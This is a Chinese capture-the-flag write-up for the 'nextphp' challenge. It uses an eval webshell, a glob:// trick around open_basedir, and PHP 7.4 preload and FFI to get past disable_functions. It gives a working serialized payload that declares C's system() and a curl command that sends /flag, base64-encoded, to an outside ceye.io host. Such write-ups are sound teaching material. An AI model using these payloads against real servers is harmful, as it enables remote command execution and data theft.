0x01 题目分析

访问页面,显示源码,是个PHP一句话木马:

1
2
3
4
5
6
<?php
if (isset($_GET['a'])) {
eval($_GET['a']);
} else {
show_source(__FILE__);
}

推测,考察Bypass disable_functions。

通过?a=phpinfo();查看phpinfo,发现PHP版本为7.4,且open_basedir限制为Web目录:

而disable_functions中不仅过滤了所有PHP命令执行函数,还过滤了mail、dl、putenv等函数:

1
set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl

Bypass disable_functions的方法无非就那几种。黑名单是无法绕过了,因为所有PHP命令执行函数都被严格过滤了;系统是Linux,不存在COM组件绕过;过滤了dl()函数,无法通过扩展库绕过;过滤了mail和putenv等函数,无法通过LD_PRELOAD方式绕过;过滤了pcntl相关函数,无法通过该组件绕过;系统没有ImageMagick组件等等……

暂时没有思路,那就看下当前Web目录下有啥文件,此时只能查看Web目录,因为open_basedir限制了:

1
?a=print_r(scandir('./'));

可以看到有个preload.php。

难道就没办法Bypass open_basedir了吗?——使用glob://伪协议

下面通过glob://伪协议来Bypass open_basedir读取根目录有啥内容,发送之前先进行URL编码:

1
$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');};

可以看到根目录下有个flag,这里读是读不到的,但是已经确定了flag在根目录下:

回到之前,看下preload.php的源码:

1
2
3
4
5
?a=show_source('preload.php');
?a=echo(readfile('preload.php'));
?a=print_r(readfile('preload.php'));
?a=echo(file_get_contents('preload.php'));
?a=print_r(file_get_contents('preload.php'));

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'print_r',
'arg' => '1'
];

private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}

public function __serialize(): array {
return $this->data;
}

public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}

public function serialize (): string {
return serialize($this->data);
}

public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}

public function __get ($key) {
return $this->data[$key];
}

public function __set ($key, $value) {
throw new \Exception('No implemented');
}

public function __construct () {
throw new \Exception('No implemented');
}
}

分析下这段代码:A类继承了Serializable类,和Java类似,定义了一个可序列化的类;A类有一个成员变量\$data,是一个数组,数组中是字典,键分别保存了ret、func、arg;新增了__serialize()和__unserialize()函数,未见过的写法,其中__unserialize()和unserialize()均调用了run()函数;__set()和__construct()函数都抛出异常,这里主要是__set(),因为我们无法直接通过set的方式来设置\$data的值了;最后是run()函数,它是反序列化漏洞存在的根源,因为它通过成员变量\$data中的func和arg来实现任意函数调用:

1
$this->data['ret'] = $this->data['func']($this->data['arg']);

至此,之前Bypass disable_functions的方法自然是用不了了。但题目是nextphp,PHP版本为7.4且根据其未见过的一些特性可以推测出应该是用到了7.4版本的新特性了。

0x02 PHP 7.4 新特性

自定义对象序列化

在PHP 7.4的时候,增加了__serialize()和__unserialize()函数,可以用来自定义对象的序列化。其实和Java重写readObject()方法类似。

Preload

预加载,允许服务器在启动时在内存中加载PHP文件,并使它们永久可用于所有后续请求,主要用来大幅提升IO性能。

在php.ini中有一项设置名为opcache.preload,用来指定将在服务器启动时编译和执行的PHP文件,文件中定义的所有函数和大多数类都将永久加载到PHP的函数和类表中,并在将来的任何请求的上下文中永久可用。

在本题的phpino中可以看到该设置选项:

可以看到,该选项设置为preload.php,也就是说服务器在启动时就已经将该文件加载进内存中,后续我们可以直接调用该文件中的类方法即可而无需做多余的操作去加载或包含文件进来。

FFI

FFI(Foreign Function Interface),即外部函数接口,允许从用户区调用C代码。简单地说,就是一项让你在PHP里能够调用C代码的技术。

FFI的使用分为声明和调用两个部分。

下面看个简单的使用Demo,从共享库中调用printf()函数:

1
2
3
4
5
6
7
8
<?php
// create FFI object, loading libc and exporting function printf()
$ffi = FFI::cdef(
"int printf(const char *format, ...);", // this is a regular C declaration
"libc.so.6");
// call C's printf()
$ffi->printf("Hello %s!\n", "world");
?>

FFI::cdef——创建一个新的FFI对象,可以用于常规C代码的声明,第一个参数为需要声明的C代码,第二个参数为可选项、从哪个共享库中导入;后面直接通过FFI变量调用声明过的C函数即可。

可在phpinfo中查看FFI是否开启,本题是开启的:

0x03 解题思路

由前面分析可知以下几点可利用的地方:

  • Preload配置已经将preload.php预加载到内存中,可直接利用其中的类方法;
  • preload.php中的unserialize()函数会调用run(),而run()存在任意函数调用风险;
  • index.php中eval会执行PHP代码,会帮助我们执行preload.php中的反序列化操作;

结合起来,攻击思路如下:

  • 先利用FFI特性构造恶意序列化内容,用PHP通过FFI声明和调用C中的system()函数;
  • 利用index.php中的eval来执行反序列化操作;
  • 最后调用FFI中声明的system()函数执行命令;

利用FFI的特性构造恶意序列化内容,因为无法直接通过__set()函数设置成员变量\$data,这里就直接修改其键值即可,使其初始化func的初始值为FFI::cdef、arg的初始值为system:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'FFI::cdef',
'arg' => 'int system(char *command);'
];

private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}

public function serialize () {
return serialize($this->data);
}

public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
}

echo(serialize(new A()));
?>

得到如下序列化内容:

1
C:1:"A":89:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:26:"int system(char *command);";}}

构造exp如下,这里利用index.php的eval来限制执行反序列化操作,然后触发run()函数来调用FFI::cdef声明C中的system()函数,然后通过FFI变量调用已声明的system()来执行任意命令,因为可能有特殊编码这里就进行base64加密传送回来:

1
$a=unserialize('C:1:"A":89:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:26:"int system(char *command);";}}');$a->ret->system('curl xx.ceye.io/?c=`cat /flag|base64`');

发送之前,先进行URL编码,最后在ceye收到内容,base64解码即为flag:

小结

本题巧妙利用了PHP 7.4的新特性FFI来Bypass disable_functions。

当PHP所有的命令执行函数被禁用后,通过PHP 7.4的新特性FFI可以实现用PHP代码调用C代码的方式,先声明C中的命令执行函数,然后再通过FFI变量调用该C函数即可Bypass disable_functions。

也就是说,通过PHP调用C的命令执行函数来绕过。

0x04 参考

Foreign Function Interface